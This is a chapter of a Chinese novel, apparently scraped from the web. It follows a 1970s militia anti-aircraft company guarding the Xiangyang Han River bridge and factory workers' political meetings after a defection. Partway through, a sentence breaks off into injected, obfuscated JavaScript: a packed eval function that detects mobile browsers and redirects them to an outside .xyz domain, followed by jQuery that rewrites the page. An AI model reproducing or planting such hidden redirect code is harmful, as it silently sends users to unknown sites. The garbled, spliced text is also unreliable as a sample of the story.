在那横跨汉江的大桥附近，世和作为退役的战士，与其他临时紧急抽调到高射炮训练基地的人一样，在紧张的准备，经常实弹操练，他们被编为十二连，就是高射炮连。
虽说是演习和训练，高射炮连却如临大敌。炮口威严地指向天空，受训的民兵，个个表情严肃，眼神中透着警惕与决然。
阵地周围，沙袋堆砌成坚固的防御工事，民兵们猫着腰在其间穿梭，检查着高射炮的每一个部件。
炮弹被一箱箱整齐地码放在旁边，在阳光的映照下泛着冰冷的金属光泽。
“各就各位，仔细检查！”连长的声音短促而有力，如同一记记重锤敲击在每个人的心间。
炮手们紧紧握着操作杆，眼睛一眨不眨地盯着天空，额头上豆大的汗珠滚落，却顾不上擦拭。
他们深知，在这关键人物叛逃后的紧张局势下，任何一丝疏忽都可能酿成大祸。
通讯兵守在电台旁，头戴耳机，全神贯注地聆听着上级的指示，手中的笔随时准备记录重要信息，电波在空气中无声地传递着关乎**的指令。
高射炮连的民兵们就这样坚守在大桥附近，他们的身影在风中显得坚毅而刚强，时刻准备着应对可能来自空中的威胁，为保卫祖国的领空和重要设施，在这特殊的历史时期，奉献着自己的热血与忠诚，让这片天空下的土地即便处于危机之中，依然有着钢铁般的守护力量。
因为大桥的重要性，防空办公室就在大桥附近设立。
在一片开阔的训练场上，由编号为十二连的民兵高射炮连的训练正在如火如荼地展开。阳光炽**洒下，烘烤着大地，也映照着一群热血昂扬的民兵。
高射炮那钢铁的身躯在阳光下闪烁着冷硬的光泽，民兵们身着朴素的军装，身姿挺拔，眼神坚定。
“同志们，今天的训练至关重要，我们肩负着保卫家乡、保卫祖国领空的重任！”世和的声音洪亮而有力，在训练场上回荡。
炮手们围在高射炮旁，认真聆听着操作要领讲解，他们的手轻轻触摸着炮身，仿佛在与一位忠诚的战友交流。
随后，开始实战演练操作。
装填手迅速而精准地将炮弹装填进炮膛，动作一气呵成，额头上青筋暴起也毫不在意。
瞄准手则紧紧盯着瞄准镜，眼睛眯成一条缝，仔细调整着角度，口中不断报出数据，神情专注至极。
在一旁，负责指挥的民兵小队队长手持红旗，通过旗语下达各种指令，红旗下的手臂有力地挥舞着，每一个动作都清晰明确。
而其他民兵也没有闲着，有的在帮忙搬运炮弹，有的在检查设备的连接线路，整个训练场一片忙碌而有序的景象。
尽管汗水湿透了他们的衣衫，烈日晒红了他们的脸庞，但没有一个人有丝毫的懈怠。在那个年代，他们怀着对祖国的无限忠诚和热爱，在训练场上刻苦磨砺只为在需要的时候，能够拉得出、打得赢，用自己的力量守护祖国的蓝天和土地，让人民能够安心地生活在这片充满希望与热血的土地上。主要是保卫大桥，因为大桥非常重要。
襄阳一桥即汉江铁桥，其于1970年建成通车，是襄阳的第一座跨江大桥，也是焦枝铁路上的特大型铁路、公路两用桥.在上世纪70年代，它具有极其重要的意义。
在交通方面，它结束了汉江两岸人民渡船过江的历史，使襄城和樊城紧密相连，成为当时连接襄阳市区襄城和樊城的唯一交通枢纽，极大地方便了人员往来和物资运输，促进了城市内部的交流与融合，推动了襄阳城市规模的扩大和整体发展。
在经济方面，作为重要的交通纽带，襄阳一桥为襄阳的经济发展提供了强大动力。
它使得襄阳与周边地区的联系更加便捷，加强了区域间的贸易往来，促进了工业、农业等各产业的发展，带动了相关产业的繁荣，为襄阳经济的快速增长奠定了基础，进一步巩固了襄阳“南船北马、七省通衢”的交通和经济地位。
在军事方面，襄阳一桥在军事上也有着重要意义。它是重要的交通要道，对于军队的调动、物资的运输等军事行动具有重要的保障作用，增强了襄阳地区的军事战略地位，为国防安全提供了有力支持。
在社会方面，襄阳一桥的建成，增强了襄阳人民的城市认同感和归属感，促进了两岸居民的交流与融合，推动了城市文化、教育、医疗等社会事业的共同发展，对提高襄阳的城市形象和知名度，提升居民的生活质量和幸福感发挥了重要作用。
据说，当时的汉江两岸呈现出万人上阵的热烈场景，建设现场红旗招展、人声鼎沸。
市区投入民兵3500人，各界群众参加义务劳动达40多万人次，上至七八十岁的老人，下至小学生都积极参与.他们自带干粮，用缸子端沙，用书包背土，晚上就睡在临时搭建的工棚里，不计报酬地为大桥建设贡献力量，体现出极高的热情和无私的奉献精神。
在结束一天的训练后，大家晚饭后**在一起学习讨论。
在那个略显昏暗的工厂会议室里，灯光昏黄而摇曳。工人们围坐在一起，表情凝重，空气中弥漫着一种压抑且严肃的气息。
一位老师傅率先打破了沉默：“他的叛逃，简直是对国家和人民的背叛。咱们工人阶级，打从骨子里就得坚定地站在国家这边。咱们吃的是国家的粮，干的是建设国家的活，在这时候，必须和国家同呼吸共命运。”他的眼神中透着坚定，声音虽有些沙哑却掷地有声，说到激动处，还用力地挥了一下拳头。
年轻的小赵紧接着站起来：“没错，老师傅说得对。咱们在自己的岗位上，哪怕只是拧一颗螺丝钉，那也是为了国家的工业发展。现在出了这样的事，我们更要坚守岗位，不能让生产进度落下。而且，咱们得提高警惕，留意身边有没有什么异常情况，绝不能让那些别有用心的人再有可乘之机。”他的脸涨得通红，胸膛微微起伏，显露出内心的激动与决心。
旁边的世和点了点头：“对，我们还要加强自身的思想学习，提高**觉悟。不能被一些错误的言论或者思潮影响，要相信国家有能力处理好这一切。咱们要从这次事件中吸取教训，更加紧密地团结起来，把咱们工厂的生产搞得更好，为国家的稳定和发展提供坚实的后盾。”
他一边说着，一边用手摸着下巴，眼神深邃而专注。
工人们你一言我一语地讨论着，在这关键的历史时刻，他们在这个小小的会议室里明确着自己的立场，那就是坚决拥护国家，以实际行动捍卫国家的利益与尊严，用各自的方式在自己平凡的岗位上为应对这场危机贡献力量，就像一颗颗牢固的螺丝钉，紧紧地将国家这台庞大的机器维系在一起，使其能够在风雨中继续坚定地运转。
当时的国营单位是铁饭碗，工人们每月都按时领取工资，工资里面含有各种福利，发的有工资条，条上写着各种金额，有基本工资，绩效工资，洗理费，交通费，误餐费等等，名堂有很多，一个工人一张工资条，这样的工资条上下名字之间有小孔，这样一排小孔，这个设计可以让工资条能改撕下来，而且不破坏工资条上的内容。
工人的工资有保障，生产的产品不愁销路，所以工人个个都很自豪身为国有单位的一员，但要是想进厂，非常难，要是能进国营单位，更是难上加难。
指标有限，当时不鼓励农村劳动力到城市，到城市的一般是投亲访友的居多，玩了几天，就必须要返回，回到自己宁静而落后的地方，哪怕不能带来什么，也不至于丢掉什么。
那个关键人物的叛逃如一阵阴霾笼罩在人们心头。
世和攥着铝制饭盒的手沁出冷汗，铁皮边缘在路灯下泛着青白的光。
食堂窗口的蒸汽裹着白菜帮子的酸涩扑面而来，他却感觉喉咙发紧——往常热闹的打饭队伍今天格外安静，只有搪瓷碗碰撞的叮当声像一串破碎的密码。
“都盯着点手里的活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530896|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿！“车间主任的声音突然在身后炸响。
世和猛地转身，看见主任胸前的像章在暮色里晃出刺眼的红，他后颈的冷汗顺着脊梁滑进工装裤。
远处传来卡车碾过碎石路的轰鸣，惊起几只夜枭，尖锐的叫声刺破了厂区上空浓稠的寂静。
午夜的会议室里，钨丝灯泡滋滋作响，在墙上投下摇晃的人影。世和数着自己踩在水泥地上的影子，发现前排老技术员的手指正无意识地摩挲着茶杯沿，一圈又一圈，在桌面洇出深色水痕。
“叛徒携带的资料关系到国防机密。“**的声音像砂纸擦过黑板，“从现在起，车间实行三班倒，发现任何异常，立刻拉响警报！“
训练场上的探照灯彻夜未熄，世和举着零件的手臂渐渐发麻。月光混着惨白的灯光落在金属模具上，折射出细碎的冷芒。
突然，围墙外传来野狗的狂吠，所有人同时僵住，空气仿佛凝固。
班长喉结滚动了两下，压低声音：“继续！“可世和分明看见他握卡尺的手在微微颤抖。
凌晨四点换岗时，世和路过工具房，门缝里漏出几缕烟。三个保卫科的人围在煤油炉旁，他们压低的交谈声混着劣质烟味飘出来：“听说那小子逃到苏联的经过...“
“嘘！“铁皮门“吱呀“轻响，世和猛地转身，假装系鞋带，余光瞥见门缝里熄灭的烟头红光，像极了暗夜中警惕的眼睛。
世和第三次调整胸前的像章，金属别针在工装布料上刮出细微的沙沙声。
会议室的长桌蒙着灰扑扑的玻璃，倒映出他紧绷的下颌线——这是本周第七次动员会，茶杯里的浓茶早已凉透，却没人敢挪动分毫。
“必须和叛**划清界限！“**的拳头砸在桌上，震得搪瓷缸里的铅笔都在跳动。
世和感觉后颈的旧疤又开始发烫，那是三年前抗洪救灾时被钢筋划伤的，此刻却像有根细针在皮肉里反复搅动。
他猛地站起身，椅子在水泥地上拖出刺耳声响：“我是贫农出身，祖宗三代都是红透的根苗！“
喉咙发紧，连带着呼吸都带着铁锈味。
前排老技术员的茶杯碰倒了，褐色茶渍在“千万不要忘记斗争“的标语上晕开。
世和盯着那片污渍，突然想起父亲临终前攥着他的手，粗糙的掌心满是老茧：“咱世世代代都是本分人，老老实实拥护领导。“此刻他攥紧拳头，指甲深深掐进掌心，仿佛要把父亲的话刻进骨头里。
散会后，世和主动留下打扫会场。
扫帚扫过墙角时，他瞥见角落里半截烟蒂——过滤嘴印着淡淡的口红，在清一色的男同志单位里显得格外刺眼。
他用鞋跟碾灭烟蒂，余光扫过墙上鲜红的誓词，突然意识到每个字都像烙铁，正在灼烧所有人的神经。
夜训时，探照灯将人影拉得老长。
世和拆装零件的速度比往常快了三成，金属碰撞声清脆如鼓点。班长走过时，他故意抬高声音：“只要党需要，我随时能扛枪上战场！“
夜风卷起远处的犬吠，他望着夜空里稀疏的星子，忽然发现自己的影子正死死压在训练手册的“忠诚“二字上，纹丝不动。
工厂里，工人们的脸上少了往日的轻松，多了几分凝重与严肃。
车间里，机器的轰鸣声依旧，但工人们操作时更加全神贯注。老钳工李师傅，平时总爱和徒弟们唠唠家常，如今却一言不发，只是紧紧握着手中的工具，眼神专注地在零件上精雕细琢，每一个动作都充满力量与决心，仿佛要用手中的技艺为国家筑牢根基。
世和主动要求增加工作时长，他放弃了原本的轮休，眼睛紧紧盯着飞速旋转的工件，额头上沁出细密的汗珠也顾不上擦。
他心中想着，多生产一个合格的零件，就是为国家的工业发展多添一份保障，绝不能因为叛逃事件而影响国家建设的步伐。
在休息间隙，工人们不再是闲聊打趣，而是围坐在一起，讨论着如何加强工厂的安全保卫工作。